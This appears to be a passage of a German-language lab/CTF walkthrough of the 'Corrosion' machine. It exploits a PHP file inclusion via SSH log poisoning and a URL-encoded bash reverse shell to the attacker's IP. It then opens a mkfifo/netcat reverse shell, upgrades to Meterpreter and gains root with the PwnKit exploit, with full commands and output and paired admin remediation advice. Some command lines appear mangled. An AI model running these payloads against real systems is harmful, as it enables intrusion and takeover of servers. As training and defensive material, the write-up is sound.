Analyse:** Dieser Block zeigt den (vermutlich) dekodierten Quellcode von `randylogs.php`, wie er aus der vorherigen Base64-Ausgabe rekonstruiert wurde. Es scheint zwei PHP-Blöcke zu geben. Der obere ist teilweise auskommentiert und enthält Code, der eine direkte Command Injection über einen `cmd`-Parameter ermöglicht hätte (`system($ GET['cmd'])`). Der untere Block enthält die tatsächliche LFI-Schwachstelle (`include($ GET['file'])`).

Bewertung:** Die Trennung und der auskommentierte Code sind etwas verwirrend, aber der aktive Code im unteren Block bestätigt eindeutig die LFI. Der auskommentierte obere Teil könnte ein Hinweis auf frühere Entwicklungsstadien oder eine vergessene Funktion sein. Das Vorhandensein von `system()` im Code (wenn auch auskommentiert) deutet darauf hin, dass der Entwickler möglicherweise unsichere Praktiken verwendet hat.

Empfehlung (Pentester):** Konzentriere dich auf die aktive LFI im unteren Block. Die Log-Poisoning-Technik bleibt der wahrscheinlichste Weg zur Codeausführung.
Empfehlung (Admin):** Entferne auskommentierten, potenziell gefährlichen Code. Überprüfe den gesamten Code auf ähnliche Schwachstellen. Implementiere sichere Codierungspraktiken und führe Code-Reviews durch.

[Versuch, eine andere Datei via LFI zu lesen und resultierende Ausgabe] └─# Vermutlich Aufruf von: ...?file=../../../../../var/log/auth.log (oder ähnliches)
drwxr-xr-x  3 root  root  4096 Jul 29  2021 .
drwxr-xr-x 20 root  root  4096 Jul 29  2021 ..
drwxr-x--- 17 randy randy 4096 Jul 30  2021 randy
 from 192.168.2.113 port 40164
                    

Analyse:** Dieser Codeblock zeigt keine direkte Code-Ausgabe, sondern scheint das Ergebnis des Lesens einer Logdatei (vermutlich `/var/log/auth.log` oder eine ähnliche) mittels der LFI-Schwachstelle zu sein. Der Befehl `view-source:...resource=../../blog-post/index.php` aus dem Originaltext passt nicht zur Ausgabe. Die Ausgabe enthält Verzeichnisinformationen und einen Log-Eintrag über eine eingehende Verbindung von `192.168.2.113` (der Angreifer-IP) auf Port `40164`.

Bewertung:** Dies zeigt, dass Logdateien erfolgreich gelesen werden können. Der Eintrag `from 192.168.2.113 port 40164` ist wahrscheinlich Teil eines fehlgeschlagenen SSH-Login-Versuchs, der in `auth.log` protokolliert wurde. Dies bestätigt die Machbarkeit des Log-Poisoning-Angriffs.

Empfehlung (Pentester):** Führe nun den SSH-Log-Poisoning-Angriff durch.
Empfehlung (Admin):** Empfehlungen zur LFI und Logfile-Sicherheit bleiben bestehen.

┌──(root㉿cyber)-[~] └─# ssh 'system($ GET["andy"]); '@corrosion.vuln
[SSH-Verbindungsversuch mit speziellem Benutzernamen - keine direkte Ausgabe erwartet, außer evtl. Passwortabfrage oder Fehler]
                    

Analyse: Dies ist der Versuch des SSH-Log-Poisoning. Es wird versucht, sich per SSH am Zielserver `corrosion.vuln` anzumelden. Als Benutzername wird jedoch kein gültiger Benutzer, sondern der String `system($ GET["andy"]); ` verwendet. Die Absicht ist, dass dieser String in die Logdatei `/var/log/auth.log` geschrieben wird.

Bewertung: Dieser Schritt allein führt noch nicht zur Codeausführung. Er dient nur dazu, den schädlichen Payload (PHP-Code) in eine Datei (`auth.log`) zu schreiben, die später über die LFI inkludiert werden kann. Der SSH-Server wird die Anmeldung wahrscheinlich ablehnen, aber den Versuch protokollieren.

Empfehlung (Pentester): Unmittelbar nach diesem Befehl die LFI nutzen, um `/var/log/auth.log` zu inkludieren und dabei den Parameter `andy` mit einem Betriebssystembefehl zu übergeben (z.B. `randylogs.php?file=/var/log/auth.log&andy=id`).
Empfehlung (Admin): Sichere SSH-Konfiguration (keine unsinnigen Benutzernamen zulassen, Rate Limiting, Fail2Ban). Die LFI bleibt das Hauptproblem.

┌──(root㉿cyber)-[/var/log/apache2] └─# nc -lvnp 9001
listening on [any] 9001 ...
                    

Analyse: Der Befehl `nc -lvnp 9001` startet einen Netzwerk-Listener mit Netcat auf dem Angreifer-Rechner (Cyber). * `-l`: Listen-Modus, wartet auf eingehende Verbindungen. * `-v`: Verbose-Modus, gibt mehr Informationen aus. * `-n`: Numerischer Modus, keine DNS-Auflösung. * `-p 9001`: Lauscht auf Port 9001.

Bewertung: Dies bereitet den Empfang einer Reverse Shell vor. Der nächste Schritt wird darin bestehen, das Zielsystem anzuweisen, eine Verbindung zu diesem Listener aufzubauen.

Empfehlung (Pentester): Halte diesen Listener bereit und löse im nächsten Schritt die Reverse Shell auf dem Zielsystem aus.
Empfehlung (Admin): Firewall-Regeln (Egress Filtering) auf dem Server können verhindern, dass ausgehende Verbindungen zu beliebigen Ports auf externen Systemen aufgebaut werden.

Analyse:** Der folgende "Payload"-Text beschreibt die URL, die aufgerufen werden muss, um die Remote Code Execution (RCE) über die LFI und das Log Poisoning auszulösen und eine Reverse Shell zu initiieren.

Payload URL: `http://corrosion.vuln/blog-post/archives/randylogs.php?file=file:////var/log/auth.log&andy=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.113%2F9001%200%3E%261%27`

Detailanalyse der Payload URL: * `http://corrosion.vuln/blog-post/archives/randylogs.php`: Ruft das anfällige Skript auf. * `?file=file:////var/log/auth.log`: Nutzt die LFI, um die zuvor vergiftete Logdatei `/var/log/auth.log` zu inkludieren. Das `file:////` ist eine gängige Schreibweise für lokale Dateien. * `&andy=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.113%2F9001%200%3E%261%27`: Übergibt den `andy`-Parameter. Der Wert ist URL-kodiert und entspricht dem Befehl `/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.113/9001 0>&1'`. Dieser Befehl startet eine interaktive Bash-Shell und leitet deren Ein- und Ausgabe über eine TCP-Verbindung an die IP-Adresse `192.168.2.113` (Angreifer) und Port `9001` (Netcat-Listener) um. Wenn das Skript `randylogs.php` die `auth.log` inkludiert, findet es den zuvor per SSH eingeschleusten Code `system($ GET["andy"]); `. Dieser Code wird ausgeführt und erhält den Wert des `andy`-Parameters aus der URL, was wiederum die Reverse Shell startet.

Bewertung:** Dies ist die erfolgreiche Kombination aus LFI und SSH Log Poisoning zur Erlangung von Remote Code Execution (RCE). Das Auslösen dieser URL sollte eine Verbindung zum Netcat-Listener herstellen.

Empfehlung (Pentester):** Rufe diese URL in einem Browser oder mit `curl` auf, während der `nc`-Listener läuft.
Empfehlung (Admin):** Die Behebung der LFI verhindert diesen Angriff vollständig.

Proof of Concept: Initial Access

Ziel des POC: Demonstrieren, wie die kombinierte Ausnutzung von Local File Inclusion (LFI) und SSH Log Poisoning zu einer Remote Code Execution (RCE) führt, die einen initialen Shell-Zugriff auf dem Zielsystem als Benutzer `www-data` ermöglicht.

Voraussetzungen:

  • LFI-Schwachstelle in `http://corrosion.vuln/blog-post/archives/randylogs.php?file=`
  • Möglichkeit, SSH-Verbindungsversuche zum Ziel (`corrosion.vuln`) zu initiieren.
  • Lesezugriff des Webservers auf `/var/log/auth.log`.
  • Netzwerkzugriff vom Ziel zum Angreifer-System für die Reverse Shell.
  • Tools auf Angreiferseite: `ssh`, `nc` (oder anderer Listener), Webbrowser oder `curl`.

Schritt-für-Schritt Anleitung:

1. Payload in Logdatei schreiben (Log Poisoning): Initiieren eines SSH-Verbindungsversuchs mit dem PHP-Payload als Benutzername.

┌──(root㉿cyber)-[~] └─# ssh ''@corrosion.vuln
[Keine direkte Ausgabe relevant, der Versuch wird im auth.log protokolliert]

2. Listener für Reverse Shell starten: Auf dem Angreifer-System einen Listener auf einem gewählten Port (hier 9001) starten.

┌──(root㉿cyber)-[/var/log/apache2] └─# nc -lvnp 9001
listening on [any] 9001 ...
                    

3. RCE auslösen und Reverse Shell starten: Die präparierte URL aufrufen, welche die LFI nutzt, um die vergiftete Logdatei zu inkludieren und den Reverse-Shell-Befehl über den `andy`-Parameter auszuführen.

[Angreifer-System: Aufruf der Payload-URL, z.B. mit curl] └─# curl "http://corrosion.vuln/blog-post/archives/randylogs.php?file=file:////var/log/auth.log&andy=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.113%2F9001%200%3E%261%27"
[Keine direkte Ausgabe von curl relevant, die Aktion geschieht auf dem Server]

4. Eingehende Verbindung am Listener empfangen: Der Netcat-Listener auf dem Angreifer-System sollte nun die eingehende Verbindung vom Zielsystem anzeigen.

┌──(root㉿cyber)-[/var/log/apache2] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.113] from (UNKNOWN) [192.168.2.122] 49980
bash: cannot set terminal process group (859): Inappropriate ioctl for device
bash: no job control in this shell
www-data@corrosion:/var/www/html/blog-post/archives$
                    

Ergebnis & Bewertung: **Fantastisch! Der initiale Zugriff war erfolgreich!** Wir haben eine interaktive Shell auf dem Zielsystem `corrosion` als Benutzer `www-data` (der Benutzer, unter dem der Apache-Webserver läuft) erhalten. Die Fehlermeldungen (`cannot set terminal process group`, `no job control`) sind typisch für einfache Reverse Shells und beeinträchtigen die grundlegende Funktionalität meist nicht. Dieser Zugriff bestätigt die kritische Auswirkung der LFI-Schwachstelle in Kombination mit dem lesbaren `auth.log`.

Empfehlung (Pentester): Stabilisiere die Shell (z.B. mit Python PTY-Upgrade), führe grundlegende Enumeration als `www-data` durch (Benutzer, Gruppen, Netzwerk, Prozesse, installierte Software) und suche nach Wegen zur Privilege Escalation.
Empfehlung (Admin): **LFI dringend beheben!** Zugriff auf Logdateien beschränken. Egress-Filtering in der Firewall implementieren. Überwache Systemprozesse auf ungewöhnliche Aktivitäten.

www-data@corrosion:/var/www/html/blog-post/archives$ cd /var/www/html/tasks/
 
                 

Analyse:** Der Benutzer wechselt in das Verzeichnis `/var/www/html/tasks`, das während der Web-Enumeration mit Gobuster gefunden wurde.

Bewertung:** Dies ist ein logischer Schritt nach Erlangung der Shell, um die zuvor entdeckten Bereiche genauer zu untersuchen.

Empfehlung (Pentester):** Untersuche den Inhalt dieses Verzeichnisses.
Empfehlung (Admin):** Keine spezifische Empfehlung für diesen Befehl.

www-data@corrosion:/var/www/html/tasks$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Jul 30  2021 .
drwxr-xr-x 4 root root 4096 Jul 30  2021 ..
-rw-r--r-- 1 root root  118 Jul 29  2021 tasks_todo.txt
                    

Analyse: Der Befehl `ls -la` listet den Inhalt des aktuellen Verzeichnisses (`/var/www/html/tasks`) im Langformat (`-l`) inklusive versteckter Dateien (`-a`) auf.

Bewertung: Das Verzeichnis enthält eine Datei namens `tasks_todo.txt`, die dem Benutzer `root` gehört. Der Name deutet auf eine To-Do-Liste oder Notizen hin, die möglicherweise interessante Informationen enthalten.

Empfehlung (Pentester): Lies den Inhalt der Datei `tasks_todo.txt`.
Empfehlung (Admin): Speichere sensible Informationen oder interne Notizen nicht in öffentlich zugänglichen Web-Verzeichnissen.

www-data@corrosion:/var/www/html/tasks$ cat tasks_todo.txt
# Tasks that need to be completed

1. Change permissions for auth log
2. Change port 22 -> 7672
3. Set up phpMyAdmin
                    

Analyse: Der Befehl `cat tasks_todo.txt` gibt den Inhalt der gefundenen Datei aus.

Bewertung: Die Datei enthält eine To-Do-Liste mit potenziell nützlichen Informationen: * "Change permissions for auth log": Bestätigt, dass die Berechtigungen für `auth.log` möglicherweise zu offen sind (was wir für das Log Poisoning ausgenutzt haben). * "Change port 22 -> 7672": Ein Hinweis darauf, dass der SSH-Port möglicherweise geändert werden soll oder wurde. Aktuell läuft er auf 22. * "Set up phpMyAdmin": phpMyAdmin ist eine Webanwendung zur Verwaltung von MySQL-Datenbanken. Wenn es installiert (oder geplant) ist, könnte es ein weiterer Angriffsvektor sein.

Empfehlung (Pentester): Behalte diese Informationen im Hinterkopf. Suche nach einer phpMyAdmin-Installation. Die Information über `auth.log` ist retrospektiv nützlich, aber der Zugriff ist ja bereits erfolgt.
Empfehlung (Admin): Entferne solche Notizen aus Web-Verzeichnissen. Implementiere die geplanten Änderungen (Berechtigungen für `auth.log` ändern, sichere Konfiguration für phpMyAdmin).

Privilege Escalation (PwnKit)

Analyse:** Beginn der Suche nach Wegen, um vom `www-data`-Benutzer zu `root` zu eskalieren.

data@corrosion:/var/www/html/tasks$ find / -type f -perm -4000 -ls 2>/dev/null
      297    129 -rwsr-xr-x   1 root     root       131832 May 12 04:26 /snap/snapd/19361/usr/lib/snapd/snap-confine
       56     43 -rwsr-xr-x   1 root     root        43088 Sep 16  2020 /snap/core18/2074/bin/mount
       65     63 -rwsr-xr-x   1 root     root        64424 Jun 28  2019 /snap/core18/2074/bin/ping
       81     44 -rwsr-xr-x   1 root     root        44664 Mar 22  2019 /snap/core18/2074/bin/su
       99     27 -rwsr-xr-x   1 root     root        26696 Sep 16  2020 /snap/core18/2074/bin/umount
     1710     75 -rwsr-xr-x   1 root     root        76496 Mar 22  2019 /snap/core18/2074/usr/bin/chfn
     1712     44 -rwsr-xr-x   1 root     root        44528 Mar 22  2019 /snap/core18/2074/usr/bin/chsh
     1765     75 -rwsr-xr-x   1 root     root        75824 Mar 22  2019 /snap/core18/2074/usr/bin/gpasswd
     1829     40 -rwsr-xr-x   1 root     root        40344 Mar 22  2019 /snap/core18/2074/usr/bin/newgrp nch-helper
     1643    331 -rwsr-xr-x   1 root     root              338536 Nov 23  2022 /snap/core22/634/usr/lib/openssh/ssh-keysign
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1579929     24 -rwsr-xr-x   1 root     root               22840 May 26  2021 /usr/libexec/polkit-agent-helper-1
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1582424    388 -rwsr-xr--   1 root     dip               395144 Feb 24  2021 /usr/sbin/pppd
  1580113    124 -rwsr-xr-x   1 root     root              126024 Mar 30  2021 /usr/lib/snapd/snap-confine
  1575008     52 -rwsr-xr--   1 root     messagebus         51496 Feb 26  2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  1579902    296 -rwsr-xr-x   1 root     root              301512 Mar 23  2021 /usr/lib/openssh/ssh-keysign
  1581950     16 -rwsr-sr-x   1 root     root               14488 Apr 13  2021 /usr/lib/xorg/Xorg.wrap
  1573606     56 -rwsr-xr-x   1 root     root               55680 Feb 26  2021 /usr/bin/mount
  1574003     72 -rwsr-xr-x   1 root     root               72072 Feb 26  2021 /usr/bin/su
  1574102     40 -rwsr-xr-x   1 root     root               39296 Feb 26  2021 /usr/bin/umount
  1573030     84 -rwsr-xr-x   1 root     root               85064 Jan  6  2021 /usr/bin/chfn
  1573036     52 -rwsr-xr-x   1 root     root               53040 Jan  6  2021 /usr/bin/chsh
  1573221     40 -rwsr-xr-x   1 root     root               39144 Mar 23  2021 /usr/bin/fusermount
  1573700     72 -rwsr-xr-x   1 root     root               72304 Jan  6  2021 /usr/bin/passwd
  1573517     16 -rwsr-xr-x   1 root     root               14728 Mar  8  2021 /usr/bin/vmware-user-suid-wrapper
  1573629     44 -rwsr-xr-x   1 root     root               44784 Jan  6  2021 /usr/bin/newgrp
  1574004    188 -rwsr-xr-x   1 root     root              190952 Feb 17  2021 /usr/bin/sudo
  1579924     32 -rwsr-xr-x   1 root     root               31032 May 26  2021 /usr/bin/pkexec
  1573299     88 -rwsr-xr-x   1 root     root               88496 Jan  6  2021 /usr/bin/gpasswd
                    

Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht im gesamten Dateisystem (`/`) nach Dateien (`-type f`), die das SUID-Bit gesetzt haben (`-perm -4000`). Solche Dateien werden mit den Rechten des Dateieigentümers (oft `root`) ausgeführt, unabhängig davon, welcher Benutzer sie startet. * `-ls`: Listet die gefundenen Dateien im `ls -dils`-Format auf. * `2>/dev/null`: Leitet Fehlermeldungen (wie "Permission denied" für nicht lesbare Verzeichnisse) nach `/dev/null` um, um die Ausgabe sauber zu halten.

Bewertung: Die Ausgabe zeigt eine Liste von SUID-Binaries. Viele davon sind Standard-Linux-Tools (`mount`, `su`, `passwd`, `sudo`, etc.). Einige sind weniger gebräuchlich oder deuten auf spezifische Software hin (`snapd`, `polkit`, `vmware`). Besonders interessant für Privilege Escalation sind oft `sudo` (falls Fehlkonfigurationen vorliegen) und `pkexec` (PolicyKit Execute), da für letzteres bekannte Schwachstellen existieren (z.B. PwnKit). Die Anwesenheit von `/usr/bin/pkexec` (Datum Mai 2021) ist ein starker Hinweis auf eine mögliche Schwachstelle.

Empfehlung (Pentester): Prüfe die `sudo`-Berechtigungen für `www-data` (`sudo -l`). Recherchiere bekannte Exploits für die gefundenen SUID-Binaries, insbesondere für `pkexec` (CVE-2021-4034, PwnKit) auf diesem System (Linux Kernel 5.x, Ubuntu).
Empfehlung (Admin): Entferne das SUID-Bit von Binaries, wo es nicht unbedingt benötigt wird. Halte das System und Pakete wie Polkit auf dem neuesten Stand, um bekannte Schwachstellen zu patchen. Konfiguriere `sudo` restriktiv.

Analyse:** Die folgenden Schritte nutzen das Metasploit Framework, um die Shell zu stabilisieren (Upgrade zu Meterpreter) und bekannte Exploits zur Privilege Escalation zu finden und auszuführen.

www-data@corrosion:/tmp$ rm -f /tmp/b; mkfifo /tmp/b; /bin/sh -i 2>&1 0/tmp/b
[Ausführung einer alternativen Reverse Shell auf dem Ziel, vermutlich um eine Verbindung zu Metasploit herzustellen]

Analyse:** Dieser Befehl auf dem Zielsystem (`corrosion`) startet eine weitere, etwas komplexere Reverse Shell, die oft stabiler ist oder besser mit Metasploit-Handlern interagiert als die einfache `bash -i`-Shell. * `rm -f /tmp/b`: Löscht eine eventuell vorhandene Datei `/tmp/b`. * `mkfifo /tmp/b`: Erstellt eine Named Pipe (FIFO) namens `/tmp/b`. * `/bin/sh -i`: Startet eine interaktive Shell. * `2>&1 0/tmp/b`: Leitet die Daten, die von Netcat empfangen werden (also die Befehle vom Angreifer), in die Pipe `/tmp/b`, von wo sie die Shell als Input liest.

Bewertung:** Dies ist eine gängige Technik, um eine interaktivere Reverse Shell zu erhalten, die oft für das Upgrade zu einer Meterpreter-Session benötigt wird. Der Zielport 4444 deutet darauf hin, dass auf dem Angreifer-System ein entsprechender Metasploit-Handler lauscht.

Empfehlung (Pentester):** Stelle sicher, dass ein Metasploit `multi/handler` auf Port 4444 auf dem Angreifer-System läuft, bevor dieser Befehl auf dem Ziel ausgeführt wird.
Empfehlung (Admin):** Egress Filtering kann diese ausgehende Verbindung verhindern. Monitoring auf verdächtige Prozesse und Netzwerkverbindungen (wie `nc`, der eine Verbindung nach außen aufbaut) ist wichtig.

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.
                    
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.113
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.113:4444
[*] Command shell session 1 opened (192.168.2.113:4444 -> 192.168.2.122:36656) at 2023-06-04 22:06:16 +0200


Shell Banner:
$
-----
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
                    

Analyse:** Auf dem Angreifer-System wird Metasploit (`msfconsole`) verwendet. * `use multi/handler`: Lädt das generische Handler-Modul, das dazu dient, eingehende Verbindungen von verschiedenen Payloads (einschließlich Reverse Shells) zu empfangen. * `options`: Zeigt die Konfigurationsoptionen für den Handler und den erwarteten Payload (`generic/shell_reverse_tcp`). * `set lhost eth0`: Setzt die lokale Lauschadresse auf die IP der Netzwerkschnittstelle `eth0` des Angreifers (Metasploit löst dies zu `192.168.2.113` auf). * `set lport 4444`: Setzt den Lauschport auf 4444, passend zum `nc`-Befehl auf dem Ziel. * `run`: Startet den Handler. Kurz darauf kommt die Verbindung vom Zielsystem (`192.168.2.122`) an, und Metasploit öffnet eine "Command shell session 1". Der `id`-Befehl wird automatisch ausgeführt und bestätigt, dass die Shell als `www-data` läuft.

Bewertung:** Die Reverse Shell wurde erfolgreich im Metasploit-Framework empfangen. Dies bietet eine stabilere Umgebung und ermöglicht die Nutzung weiterer Metasploit-Module, wie z.B. das Upgrade zu einer Meterpreter-Session.

Empfehlung (Pentester):** Nutze die Metasploit-Session, um zur Privilege Escalation überzugehen. Ein Upgrade zu Meterpreter ist oft der nächste Schritt.
Empfehlung (Admin):** Metasploit-Handler verwenden spezifische Signaturen. Intrusion Detection/Prevention Systeme (IDS/IPS) können solche Verbindungen erkennen und blockieren.

msf6 exploit(multi/handler) > Background session 1? [y/N] y
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > search shell to meterpreter
Matching Modules
================

   #  Name                                         Disclosure Date  Rank    Check  Description
   -  ----                                         ---------------  ----    -----  -----------
  ...
  58  post/multi/manage/shell_to_meterpreter                        normal  No     Shell to Meterpreter Upgrade


Interact with a module by name or index. For example info 58, use 58 or use post/multi/manage/shell_to_meterpreter
                    
msf6 exploit(multi/handler) > use 58
msf6 post(multi/manage/shell_to_meterpreter) >
msf6 post(multi/manage/shell_to_meterpreter) > options
Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connect
                                       ion
   LHOST                     no        IP of host that will receive the connection from the
                                       payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on


View the full module info with the info, or info -d command.
                    
msf6 post(multi/manage/shell_to_meterpreter) > set handler true
handler => true
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.113:4433
[*] Sending stage (1017704 bytes) to 192.168.2.122
[*] Meterpreter session 2 opened (192.168.2.113:4433 -> 192.168.2.122:56916) at 2023-06-04 22:23:52 +0200
                    

Analyse:** Die bestehende Shell-Session 1 wird in den Hintergrund geschickt (`y`). * `search shell to meterpreter`: Sucht nach Modulen, um eine einfache Shell zu einer funktionsreicheren Meterpreter-Session aufzuwerten. * `use 58` (oder `use post/multi/manage/shell_to_meterpreter`): Lädt das gefundene Upgrade-Modul. * `options`: Zeigt die Optionen für das Upgrade-Modul. Es benötigt die bestehende `SESSION` (die Shell-Session) und konfiguriert einen neuen `LHOST` und `LPORT` (hier Port 4433), um die Meterpreter-Verbindung zu empfangen. * `set ...`: Setzt die erforderlichen Optionen (`SESSION 1`, `LPORT 4433`). `LHOST` wird oft automatisch erkannt. * `run`: Startet das Upgrade. Das Modul verwendet die bestehende Shell-Session 1, um einen Meterpreter-Payload auf das Ziel hochzuladen und auszuführen. Dieser Payload verbindet sich dann zurück zum Angreifer auf Port 4433, wo ein neuer Handler (automatisch gestartet durch `HANDLER true`) lauscht.

Bewertung:** Das Upgrade war erfolgreich! Es wurde eine Meterpreter-Session 2 geöffnet. Meterpreter bietet viele Vorteile gegenüber einer Standard-Shell, darunter einfachere Datei-Transfers, Port-Weiterleitung, Prozessmigration und die Nutzung weiterer Post-Exploitation-Module.

Empfehlung (Pentester):** Nutze die Meterpreter-Session 2 für die weitere Enumeration und Privilege Escalation. Verwende Module wie den `local_exploit_suggester`.
Empfehlung (Admin):** Endpoint Detection and Response (EDR)-Systeme sind oft darauf ausgelegt, Meterpreter-Payloads und -Verhalten zu erkennen und zu blockieren. Regelmäßige System-Updates und Härtung erschweren die Ausführung solcher Payloads.

msf6 post(multi/manage/shell_to_meterpreter) > search suggester
Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester


Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
                   
msf6 post(multi/manage/shell_to_meterpreter) > use 0
msf6 post(multi/recon/local_exploit_suggester) >
msf6 post(multi/recon/local_exploit_suggester) > options
Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the avail
                                               able exploits


View the full module info with the info, or info -d command.

                   
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.122 - Collecting local exploits for x86/linux...
[*] 192.168.2.122 - 184 exploit checks are being tried...
[*] Running check method for exploit 12 / 57
[*] Running check method for exploit 57 / 57
[*] 192.168.2.122 - Valid modules for session 2:
============================

 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                Yes                      The target is vulnerable.
 2   exploit/linux/local/cve_2022_0847_dirtypipe                        Yes                      The target appears to be vulnerable. Linux kernel version found: 5.11.0
 3   exploit/linux/local/netfilter_priv_esc_ipv4                        Yes                      The target appears to be vulnerable.
 4   exploit/linux/local/network_manager_vpnc_username_priv_esc         Yes                      The service is running, but could not be validated.
 5   exploit/linux/local/pkexec                                         Yes                      The service is running, but could not be validated.
 6   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.
                   

Analyse:** * `search suggester`: Sucht nach Modulen, die lokale Exploits vorschlagen können. * `use 0` (oder `use post/multi/recon/local_exploit_suggester`): Lädt das Suggester-Modul. * `options`: Zeigt, dass das Modul die aktive `SESSION` (die Meterpreter-Session) benötigt. * `set session 2`: Weist das Modul an, die Meterpreter-Session 2 zu verwenden. * `run`: Startet den Suggester. Das Modul sammelt Informationen vom Zielsystem (OS-Version, Kernel-Version, installierte Pakete) und gleicht diese mit einer Datenbank bekannter lokaler Privilege-Escalation-Exploits ab.

Bewertung:** Der Local Exploit Suggester ist ein extrem nützliches Werkzeug. Er identifiziert mehrere potenzielle Exploits. Besonders hervorzuheben sind: * **PwnKit (CVE-2021-4034):** Wird als "vulnerable" markiert. Dies ist ein bekannter und oft zuverlässiger Exploit für `pkexec`. * **DirtyPipe (CVE-2022-0847):** Wird als "appears to be vulnerable" markiert. Ebenfalls ein mächtiger Kernel-Exploit. * Andere Exploits werden ebenfalls als potenziell anwendbar gelistet. PwnKit ist aufgrund der Bestätigung ("The target is vulnerable.") der vielversprechendste Kandidat.

Empfehlung (Pentester):** Versuche, den PwnKit-Exploit (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`) über die Meterpreter-Session 2 auszuführen.
Empfehlung (Admin):** **Patche das System!** Insbesondere Polkit (für PwnKit) und den Kernel (für DirtyPipe) auf den neuesten Stand bringen. Der Suggester zeigt deutlich die Gefahren eines ungepatchten Systems auf.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4443
lport => 4443
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[-] Msf::OptionValidateError The following options failed to validate: SESSION
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.113:4443
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.uderufdfbs
[+] The target is vulnerable.
[*] Writing '/tmp/.axneab/bqlkeju/bqlkeju.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.axneab
[*] Sending stage (3045348 bytes) to 192.168.2.122
[+] Deleted /tmp/.axneab/bqlkeju/bqlkeju.so
[+] Deleted /tmp/.axneab/.zinjlq
[+] Deleted /tmp/.axneab
[*] Meterpreter session 3 opened (192.168.2.113:4443 -> 192.168.2.122:49894) at 2023-06-04 22:28:57 +0200
                    

Analyse:** Es wird versucht, den PwnKit-Exploit auszuführen. * Der Exploit `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` ist bereits geladen. * `set lport 4443`: Konfiguriert den Port, auf dem der Handler für die *neue* Shell (die Root-Shell) lauschen soll. * `run` (erster Versuch): Schlägt fehl, da die `SESSION`-Option (welche bestehende Session der Exploit nutzen soll) nicht gesetzt wurde. * `set session 2`: Setzt die aktive Meterpreter-Session 2 als Ziel für den Exploit. * `run` (zweiter Versuch): Startet den Exploit. * Ein Handler wird auf Port 4443 gestartet. * Der automatische Check bestätigt erneut die Verwundbarkeit (`[+] The target is vulnerable.`). * Der Exploit schreibt temporäre Dateien (`/tmp/.axneab/...`). * Ein Meterpreter-Stage (Payload für die Root-Shell) wird zum Ziel gesendet. * Die temporären Dateien werden (hoffentlich) bereinigt. * Eine neue Meterpreter-Session 3 wird geöffnet, die sich vom Ziel (`192.168.2.122`) zurück zum Angreifer (`192.168.2.113:4443`) verbindet.

Bewertung:** **Ausgezeichnet! Der PwnKit-Exploit war erfolgreich!** Es wurde eine neue Meterpreter-Session (Session 3) geöffnet. Diese Session sollte nun Root-Rechte haben.

